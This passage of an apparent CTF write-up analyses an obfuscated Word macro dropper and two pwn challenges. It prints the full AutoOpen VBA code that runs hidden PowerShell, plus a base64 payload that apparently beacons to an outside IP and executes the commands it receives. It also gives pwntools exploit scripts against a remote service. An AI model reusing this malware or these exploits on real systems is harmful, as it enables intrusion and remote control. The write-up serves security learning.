    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3438203635") & uxdufnkjlialsyp("203736203130332036362038352036352037312038352036352031303120363520363620343820363520363720353220363520383220383120363620313137203635203731203737203635203938"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036362031303720363520373120313037203635203938203130332036362031313020363520373020343820363520373920313033203635203534203635203730203835203635") & uxdufnkjlialsyp("203836203635203636"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37312036352036382031303320363520373620313033203636203732203635203731") & uxdufnkjlialsyp("20383520363520313030203635203636203637203635203732203130372036352031303020363520363620313038203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3732203737203635203735203635203635203130372036352037312038352036352037352031313920363520313037203635203732203733203635203735203831203635") & uxdufnkjlialsyp("20313033203635203637203438"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352039372031303320363620") & uxdufnkjlialsyp("3131382036352037312031303720363520393820313033203635203130332036352036372039392036352037332036352036352031313020363520363720313037203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313032") & uxdufnkjlialsyp("20383120363520313033203635203732203737203635203938203635203636203130382036352037312038352036352039392036352036352031303320363520363820363520363520373620313033"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520353220363520373220343820363520383320363520363620") & uxdufnkjlialsyp("3835203635203639203733203635203130312031313920363520343920363520373220383520363520393920363520363520313232203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373220373320363520383820313139203635203132322036352036382038312036352037382038") & uxdufnkjlialsyp("31203636203533203635203730203536203635203938203831203635203438203635203731203737203635"))
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("393920313033203635203131392036352036382038352036352031303220383120") & uxdufnkjlialsyp("3635203631"))
    okbzichkqtto = fxnrfzsdxmcvranp
End Function
Private Function sryivxjsdncj() As String
    Dim fxnrfzsdxmcvranp As String
    fxnrfzsdxmcvranp = ""
    fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + okbzichkqtto()
    sryivxjsdncj = fxnrfzsdxmcvranp
End Function
Sub lmavedb()
    dropPath = Environ("TEMP")
    Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("536372697074696e672e46696c6553797374") & uxdufnkjlialsyp("656d4f626a656374"))
    Set ktmlmpc = rxnnvnfqufrzqfhnff.OpenTextFile(dropPath & uxdufnkjlialsyp("5c68") & uxdufnkjlialsyp("6973746f72792e62616b"))
    secret = ktmlmpc.ReadAll
    ktmlmpc.Close
    Code = "powershell -WindowStyle hidden -e """ & secret
    x = Shell(Code, 1)
End Sub

Function uxdufnkjlialsyp(ByVal tiyrahvbz As String) As String
    Dim nqjveawetp  As Long
    For nqjveawetp = 1 To Len(tiyrahvbz) Step 2
        uxdufnkjlialsyp = uxdufnkjlialsyp & Chr$(Val("&H" & Mid$(tiyrahvbz, nqjveawetp, 2)))
    Next nqjveawetp
End Function

We see that on line 99, it executes an encoded powershell payload secret.

image-20221025025437475

And the secret is populated through a lot of obfuscation and conversions. Well, we don't really need to deobfuscate all this manually. We can just replace the powershell execution with a print statement and print the value of the secret. It will show the base64 encoded payload.

We can do this in Microsoft Word macro editor. Here's what the final code looks like.


Sub AutoOpen() odhsjwpphlxnb Call lmavedb End Sub Private Sub odhsjwpphlxnb() Dim bnhupraoau As String CreateObject("WScript.Shell").currentdirectory = Environ("TEMP") bnhupraoau = sryivxjsdncj() dropPath = Environ("TEMP") Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("53637269707469") & uxdufnkjlialsyp("6e672e46696c6553797374656d4f626a656374")) Set dfdjqgaqhvxxi = rxnnvnfqufrzqfhnff.CreateTextFile(dropPath & uxdufnkjlialsyp("5c68697374") & uxdufnkjlialsyp("6f72792e62616b"), True) dfdjqgaqhvxxi.Write bnhupraoau dfdjqgaqhvxxi.Close End Sub Private Function wdysllqkgsbzs(strBytes) As String Dim aNumbers Dim fxnrfzsdxmcvranp As String Dim iIter fxnrfzsdxmcvranp = "" aNumbers = Split(strBytes) For iIter = LBound(aNumbers) To UBound(aNumbers) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + Chr(aNumbers(iIter)) Next wdysllqkgsbzs = fxnrfzsdxmcvranp End Function Private Function okbzichkqtto() As String Dim fxnrfzsdxmcvranp As String fxnrfzsdxmcvranp = "" fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3734203635203636203132322036352036382034382036352037342031") & uxdufnkjlialsyp("31392036352035312036352036382039392036352037362031303320363520353120363520363820383120363520373620313033")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520313230203635203638203130") & uxdufnkjlialsyp("37203635203739203635203635203131372036352036382038352036352037372031303320363520353420363520363820313033203635203737203635203635203532")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203638203635203635203734") & uxdufnkjlialsyp("20313139203635203535203635203637203831203635203937203831203635203537203635203637203939203635203930203635203635203438203635203638203737")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203839203130332036362031303620363520373120373720363520373820313033203636203130372036352036") & uxdufnkjlialsyp("37203438203635203737203635203635203438203635203638203737203635203930")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203132312036352036382038312036352037372036352036352035") & uxdufnkjlialsyp("33203635203637203438203635203738203131392036362031303820363520373120363920363520373720313033203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313232203635203731203639203635203737203130332036362031303620363520363720393920363520373920313139203635203130372036352037322036352036352038302038312036352031") & uxdufnkjlialsyp("3130203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373120313033203635203130302036352036362034382036352037322036352036352037392031303320") & uxdufnkjlialsyp("36352031313820363520363720353620363520373420313139203635203535203635203637203831")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352031303020313033203635203537203635203639203130372036352039382031303320363620353020363520373120353620363520393720313139203636203130382036352036372034") & uxdufnkjlialsyp("38203635203835")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("31303320363620313038203635203732203737203635203130302036352036362037382036352037312038352036352031303020363520363620313131203635203731203536203635203930") & uxdufnkjlialsyp("203635203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203637203438203635203836203831203636203132322036352037312038") & uxdufnkjlialsyp("35203635203831203130332036362031303420363520373220373720363520393720383120363620313036203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373020363520363520383920383120363620313231203635203732203737203635203937203831203636") & uxdufnkjlialsyp("2031313720363520373120393920363520373320363520363520313136203635203730203835203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3939203130332036362031313220363520363720363520363520373420363520363620313139203635203637203831203635203939203131392036352031313820") & uxdufnkjlialsyp("3635203731203831203635203738203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520313232203635203731203733203635") & uxdufnkjlialsyp("20383920313139203636203130362036352036382038392036352039302036352036352031303320363520363720343820363520383320363520363620313038")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352037312036392036352039302036352036362031303820363520373220373320363520393920313139203635") & uxdufnkjlialsyp("20313033203635203639203635203635203130312031313920363520313035203635203639")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363920363520313030203831203636203438203635203731203130332036352039") & uxdufnkjlialsyp("38203131392036362031323120363520373120313037203635203130312031303320363620313034203635203732203831")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520393720383120363620") & uxdufnkjlialsyp("313138203635203731203532203635203733203130332036352035372036352036372038312036352039372038312036362035372036352036382031313520363520313030")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313139203636203131312036352037312031303720363520393820363520363620313038") & uxdufnkjlialsyp("2036352036372036352036352037352036352036352031303720363520373220383120363520393920313033203636")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("34392036352037312038352036352037352038312036362035352036352036372038312036352038392031313920363520353720363520363720313033203635203833203831203636203131") & uxdufnkjlialsyp("37203635203732")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38392036352039382031313920363620313134203635203731203835203635203736203831203636203833") & uxdufnkjlialsyp("20363520373120383520363520393920313139203636203438203635203639203438203635203930")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38312036362034382036352037312031303320363520393820313139203636203130372036352036372036352036352037362038312036362038362036352037322037") & uxdufnkjlialsyp("37203635203930203831203636203637")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373120363920363520393920313139203636203131322036352037312037372036352038352036352036362031303420363520") & uxdufnkjlialsyp("37322037332036352039392031313920363620313132203635203731")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("35322036352039302031313920363520313033203635203637203438203635203836203831203636203132312036352037312031303720363520373320363520363520313037203635203732203635") & uxdufnkjlialsyp("203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37342036352036362031323220363520363720") & uxdufnkjlialsyp("35362036352037372036352036352034382036352036382037372036352039302031303320363520313231203635203638203831203635203737203635203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("353320363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635") & uxdufnkjlialsyp("2037312038352036352039392031303320363620313232203635203637")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352038312036352036362035352036352036372037332036352038") & uxdufnkjlialsyp("3120383120363620343920363520373220383120363520393720363520363620313138203635203732203733203635203937")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("383120363620353420363520373120363920363520") & uxdufnkjlialsyp("313030203635203636203131322036352037312035362036352039382031303320363520313035203635203638203438203635203734203635203636")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("31313220363520373220343820363520") & uxdufnkjlialsyp("37352038312036352035352036352037312031303720363520393020313033203635203130332036352036372031303320363520373420363520363620313036203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3637") & uxdufnkjlialsyp("20363520363520373620383120363620313137203635203731203835203635203733203635203635203131302036352036392035322036352039382031313920363620313137203635203731203835")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373420313139203635203131322036352036372036352036352031303120313139203635203130372036352037322037332036352038302038312036362031313220363520") & uxdufnkjlialsyp("373120383520363520313031")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352031303320") & uxdufnkjlialsyp("363520363720383120363520383920313139203635203130332036352036372034382036352038322038312036362031323120363520373220373320363520393820313139203636")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352036392036392036352038392031313920363620343820363520373120313037203635203938203131392036362031313720363520") & uxdufnkjlialsyp("363720363520363520383520313139203636203438203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3731203536203635203939203635203635203130332036352036372034382036352038322038312036362031323120") & uxdufnkjlialsyp("36352037322037332036352039382031313920363620313231203635203730203839")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520383920383120363620313231203635203731203130372036352038392038") & uxdufnkjlialsyp("31203636203130352036352037312031313920363520393020383120363520313033203635203731203835203635203739")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036352031303720363520373220373320363520383020383120") & uxdufnkjlialsyp("3636203830203635203732203835203635203130302036352036352031313620363520373020373720363520313030203635203636")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352037") & uxdufnkjlialsyp("31203130372036352039382031303320363620313130203635203637203635203635203736203831203636203734203635203731203532203635203939203635203636203439203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37322038312036352038342031313920363620313035203635203731203131312036352039302038312036362031303620363520373220383120363520373320363520363520313037203635203732") & uxdufnkjlialsyp("203733")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203739203131392036352031303720363520373220383120363520383020383120363620") & uxdufnkjlialsyp("373420363520373120353220363520313030203130332036362031313820363520373120313135203635203930")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38312036352031313620363520373020373320363520393020383120363620313232203635203732203831203635203834203831203636203130") & uxdufnkjlialsyp("3820363520373220383120363520393720363520363620313138")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203731203831203635203733") & uxdufnkjlialsyp("20363520363520313136203635203730203835203635203939203130332036362031313220363520363720363520363520373420363520363620313139203635203637")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3831203635203939203131392036352031313820363520363820393920363520393020383120363620313034203635203638203733203635203737203131392036362031303420363520363820373320") & uxdufnkjlialsyp("3635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38392031313920363520313033203635203637203438203635203834203831203636203130382036352037322038312036352039372036352036362031313820363520373120") & uxdufnkjlialsyp("3831203635203733203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363620383120") & uxdufnkjlialsyp("36352036392035362036352038352031313920363620383520363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37312038352036352039392031303320363620313232203635203637203635203635203831203635203636203535") & uxdufnkjlialsyp("203635203637203733203635203831203831203636203439203635203732203831203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3937203635203636203131382036352037322037332036352039372038312036362035342036352037312036392036352031303020363520363620313132203635203731203536203635203938") & uxdufnkjlialsyp("20313033")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203130352036352036382034382036352037342036352036362031313220363520373220343820363520373320363520363520") & uxdufnkjlialsyp("3131362036352036392037332036352039382031313920363620313037")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373220") & uxdufnkjlialsyp("3130372036352037332036352036352031313120363520373020313135203635203835203131392036362035332036352037322037372036352031303020363520363620313038203635203731")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3438203635") & uxdufnkjlialsyp("203736203130332036362038352036352037312038352036352031303120363520363620343820363520363720353220363520383220383120363620313137203635203731203737203635203938")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036362031303720363520373120313037203635203938203130332036362031313020363520373020343820363520373920313033203635203534203635203730203835203635") & uxdufnkjlialsyp("203836203635203636")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37312036352036382031303320363520373620313033203636203732203635203731") & uxdufnkjlialsyp("20383520363520313030203635203636203637203635203732203130372036352031303020363520363620313038203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3732203737203635203735203635203635203130372036352037312038352036352037352031313920363520313037203635203732203733203635203735203831203635") & uxdufnkjlialsyp("20313033203635203637203438")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352039372031303320363620") & uxdufnkjlialsyp("3131382036352037312031303720363520393820313033203635203130332036352036372039392036352037332036352036352031313020363520363720313037203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313032") & uxdufnkjlialsyp("20383120363520313033203635203732203737203635203938203635203636203130382036352037312038352036352039392036352036352031303320363520363820363520363520373620313033")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520353220363520373220343820363520383320363520363620") & uxdufnkjlialsyp("3835203635203639203733203635203130312031313920363520343920363520373220383520363520393920363520363520313232203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373220373320363520383820313139203635203132322036352036382038312036352037382038") & uxdufnkjlialsyp("31203636203533203635203730203536203635203938203831203635203438203635203731203737203635")) fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("393920313033203635203131392036352036382038352036352031303220383120") & uxdufnkjlialsyp("3635203631")) okbzichkqtto = fxnrfzsdxmcvranp End Function Private Function sryivxjsdncj() As String Dim fxnrfzsdxmcvranp As String fxnrfzsdxmcvranp = "" fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + okbzichkqtto() sryivxjsdncj = fxnrfzsdxmcvranp End Function Sub lmavedb() dropPath = Environ("TEMP") Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("536372697074696e672e46696c6553797374") & uxdufnkjlialsyp("656d4f626a656374")) Set ktmlmpc = rxnnvnfqufrzqfhnff.OpenTextFile(dropPath & uxdufnkjlialsyp("5c68") & uxdufnkjlialsyp("6973746f72792e62616b")) secret = ktmlmpc.ReadAll ktmlmpc.Close 'Code = "powershell -WindowStyle hidden -e """ & secret ' x = Shell(Code, 1) Debug.Print secret End Sub Function uxdufnkjlialsyp(ByVal tiyrahvbz As String) As String Dim nqjveawetp As Long For nqjveawetp = 1 To Len(tiyrahvbz) Step 2 uxdufnkjlialsyp = uxdufnkjlialsyp & Chr$(Val("&H" & Mid$(tiyrahvbz, nqjveawetp, 2))) Next nqjveawetp End Function

I have commented out the lines 99 and 100 and added a Debug.Print statement. This will print the value of secret in the Immediate window of the macro editor.

Let's create the macro.

image-20221025030038311

image-20221025030107846

Enable the Immediate window if it's not enabled already.

image-20221025030209921

And execute our code.

As soon as we hit the run button, we get the base64 encoded payload.

image-20221025030337582

JABzAD0AJwA3ADcALgA3ADQALgAxADkAOAAuADUAMgA6ADgAMAA4ADAAJwA7ACQAaQA9ACcAZAA0ADMAYgBjAGMANgBkAC0AMAA0ADMAZgAyADQAMAA5AC0ANwBlAGEAMgAzAGEAMgBjACcAOwAkAHAAPQAnAGgAdAB0AHAAOgAvAC8AJwA7ACQAdgA9AEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAFUAcgBpACAAJABwACQAcwAvAGQANAAzAGIAYwBjADYAZAAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAiAEEAdQB0AGgAbwByAGkAegBhAHQAaQBvAG4AIgA9ACQAaQB9ADsAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQB7ACQAYwA9ACgASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHAAJABzAC8AMAA0ADMAZgAyADQAMAA5ACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAiAD0AJABpAH0AKQA7AGkAZgAgACgAJABjACAALQBuAGUAIAAnAE4AbwBuAGUAJwApACAAewAkAHIAPQBpAGUAeAAgACQAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAC0ARQByAHIAbwByAFYAYQByAGkAYQBiAGwAZQAgAGUAOwAkAHIAPQBPAHUAdAAtAFMAdAByAGkAbgBnACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHIAOwAkAHQAPQBJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAtAFUAcgBpACAAJABwACQ
AcwAvADcAZQBhADIAMwBhADIAYwAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAiAD0AJABpAH0AIAAtAEIAbwBkAHkAIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAkAGUAKwAkAHIAKQAgAC0AagBvAGkAbgAgACcAIAAnACkAfQAgAHMAbABlAGUAcAAgADAALgA4AH0ASABUAEIAewA1AHUAcAAzAHIAXwAzADQANQB5AF8AbQA0AGMAcgAwADUAfQA=

Let's decode it.

And we get the flag.

image-20221025030427272

HTB{5up3r_345y_m4cr05}

Pwn - Pumpkin Stand

This time of the year, we host our big festival and the one who craves the pumpkin faster and make it as scary as possible, gets an amazing prize! Be fast and try to crave this hard pumpkin!

We have glibc files and a 64-bit ELF binary.

$ file pumpkin_stand 
pumpkin_stand: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fbbc6afe5dc2e791b38dfc19dbce5ab57c4a915e, not stripped

Several protections are enabled so this may not be a typical memory corruption.

image-20221023175501043

Let's run the binary and see what it does.

image-20221030123011304

So this is like a shop where we can buy shovels and lasers with a currency called pumpcoins. One shovel costs 1337 pumpcoins and one laser costs 9999 pumpcoins.

In our wallet, we only have 1337 pumpcoins. So technically, we can only buy one shovel.

There are two menus which require user input. The first menu asks which item we want to buy. The second menu asks how many of the selected item we want to buy. Let's open the binary in Ghidra and understand the logic.

image-20221030123456482

Right off the bat, we see that we need to break out of the outermost while loop, in order to get the flag. And we can only break out of this loop if our pumpcoins are more than 0x270e i.e. 9998 coins.

Let's see how the program stores the user input from the first and the second menu.

image-20221030123858805

The menu() function is the first menu where it asks to select the item (shovel or laser). The input for this menu is stored in local_54. Let's rename that variable to selected_item.

image-20221030124037334

Then it asks, how many of the selected item do we want to buy. And this input is stored in local_52. Let's rename that variable to number_of_items.

Note that both these variables are signed short integers.

image-20221030125721871

A signed short integer can hold a minimum value of -32768. As soon as it goes lower than that, It may rollover and become some positive value. This is going to be important to understand the exploitation.

To break out of the inner most while loop, we need to have number_of_items more than 0.

image-20221030124203609

For the second while loop, we can break out of it if the number of coins is more than -1.

image-20221030124303181

For the third while loop, we can break out of it if our selected item is not 1 i.e. shovel.

image-20221030124422734

A point to note here that we don't really need to buy the laser in order to break out of the third while loop. We can buy anything which is not at number 1. What about number 2 or 3 or -1? These are all valid numbers which are not 1. We would be reading an arbitrary value for the price though, because we don't know what's stored at 2 or 3 or -1. This value can be anything like a huge positive number or a huge negative number.

And lastly, to break out of the fourth while loop, we need to have pumpcoins more than 1337.

So the summary is that we need to buy anything which is not at 1 and we need to buy more than 0 items.

The first thing I tried was to buy an item at position -1 and buy only 1 item.

image-20221030130353043

I was a little confused about what happened here. But then it made sense. At position -1, we probably have a large number as the price. And when it deducted the price of 1 item from my original amount i.e. 1337 coins, it became negative.

I opened the binary in GDB to verify this theory, and added a break point where it deducts the pumpcoins. I supplied the same values of -1 and 1.

When it reached the break point, we could see that at position -1, the price stored was 0x5555.

image-20221030131027407

So, it tried to subtract 0x5555 (21845) from 0x539 (1337), which resulted in -20508. So, now I have -20508 pumpcoins.

What if I buy the same item located at -1 again. Theoretically, it would try to do the same thing but this time it would subtract 0x5555 (21845) from -20508.

-20508 - 21845

This would result in -42353. But remember what I said about signed short integers. It cannot hold a value lesser than -32768. So, when it would try to store -42353, it would rollover and the lower 16 bits of the register would have a positive value.

image-20221030132100752

We see that value would be 0x5A8F i.e. 23183. This is certainly higher than 9998 required to break out of the outermost while loop and get the flag.

Let's give it a try.

image-20221030132320018

And we get the flag.

HTB{1nt3g3R_0v3rfl0w_101_0r_0v3R_9000!}

To be honest, the first time I attempted this challenge, I unexpectedly solved it by just inserting random values. But then I decided to spend some time on it to understand what exactly happened.

I'm still not sure if my understanding of this is accurate, so please feel free to drop me a message if you think this is wrong and I'll amend it accordingly.

Pwn - Entity

This Spooky Time of the year, what's better than watching a scary film on the TV? Well, a lot of things, like playing CTFs but you know what's definitely not better? Something coming out of your TV!

This time we have the binary as well as the C code.

Let's take a look at the main function.

image-20221030144855005

So in the first menu, the program takes an input and then makes a decision based upon a switch case statement. It also erases the data in DataStore by writing zeros on line # 106.

For the switch case statement, we need to use T for STORE_SET, R for STORE_GET, and C for FLAG. This is given in the menu function.

image-20221030145438434

Once it hits the FLAG case statement, it calls the get_flag function.

The get_flag function only prints the flag if the DataStore.integer value is 13371337.

image-20221030145548504

So we need to find a way to set DataStore.integer to 13371337. Let's take a look at the DataStore structure.

image-20221030145657418

We see that it's a static union type structure. In C, a union type means that we can store data of different types (for example integer and string) in the same memory location. The size of that memory space will be big enough to hold the largest member. So in our case, DataStore can hold unsigned long long integer (which is 64-bits or 8 bytes) or a string of length 8 bytes. Let's see how can we store the value of 13371337 in there.

For the STORE_SET action (i.e. input T) in the switch case statement, it calls the set_field function. This function accepts L for INTEGER case and S for STRING case.

This function can help us set a value in DataStore. The only problem is that it doesn't let us store the integer 13371337. It has an if condition which explicitly prevents that.

image-20221030150834142

We can set any string though. There's no check there. So what if we try to set 13371337 as a string? It will be saved in the same memory location right? Because that's how union type works. Let's give it a try.

When we try this manually by connecting to the binary, it doesn't work.

image-20221030151755214

We enter T in the first menu to set a field, then we enter S in the second menu to tell that we want to set a string, we set 13371337, and then we try to get the flag with input C. But it doesn't work. And it makes sense. Let's open the binary in GDB and to understand better.

We'll set a break point at the comparison of the DataStore value with 13371337.

image-20221030152100023

image-20221030152155514

Let's use the same inputs and check what exactly gets stored in the DataStore.

image-20221030152326785

When we hit the break point, we see that the value in DataStore is 0x3733333137333331, which is not 13371337. This is what it is actually in decimal.

gef➤  p/d $rax
$9 = 3977579182370796337

image-20221030153059943

We want to set a string value in a way that when it is fetched as integer, it has a decimal value of 13371337. This is what rax should look like.

image-20221030154048139

So in order to do this, we need to send raw bytes 13371337. To do that, we can use pwntools.

Let's try this with our local binary first. We can attach GDB to the process and see if the value is set correctly. We can use the following Python script.

from pwn import *

# start local binary
process = process("./entity")

# wait until we receive the prompt
process.recvuntil(b">>")

# send T for SET_STORE
process.sendline('T')

# wait until we receive the prompt
process.recvuntil(b">>")

# send S to set STRING
process.sendline('S')

# wait until we receive the prompt
process.recvuntil(b">>")

# set 13371337 as raw bytes
process.sendline(p64(13371337))

# wait until we receive the prompt
process.recvuntil(b">>")

# drop to interactive shell
process.interactive()

We can attach GDB to the process at the last prompt and set the breakpoint. Then we can send C manually to call the get_flag function.

We execute the Python script.

python3 entity.py

It drops us to the interactive shell at the end of the script. Now, we can attach GDB to the process.

gdb-gef -p 752778

We can set break point at the comparison.

image-20221030154744924

And continue with c.

Back in the interactive shell, we can enter C to hit the break point.

In GDB, we hit the break point and this is what rax looks like.

image-20221030154854587

gef➤  p/d $rax
$1 = 13371337

Which is exactly our required value 13371337 in decimal.

Let's change the script a little to connect to the remote target and do the same thing.

from pwn import *

# connect to the remote host
connection = remote("178.62.122.9", 31122)

# wait until we receive the prompt
connection.recvuntil(b">>")

# send T for SET_STORE
connection.sendline(b'T')

# wait until we receive the prompt
connection.recvuntil(b">>")

# send S to set STRING
connection.sendline(b'S')

# wait until we receive the prompt
connection.recvuntil(b">>")

# set 13371337 as raw bytes
connection.sendline(p64(13371337))

# wait until we receive the prompt
connection.recvuntil(b">>")

# send C to call get_flag
connection.sendline(b'C')

# drop to interactive shell
connection.interactive()

image-20221030155348084

And we have the flag.

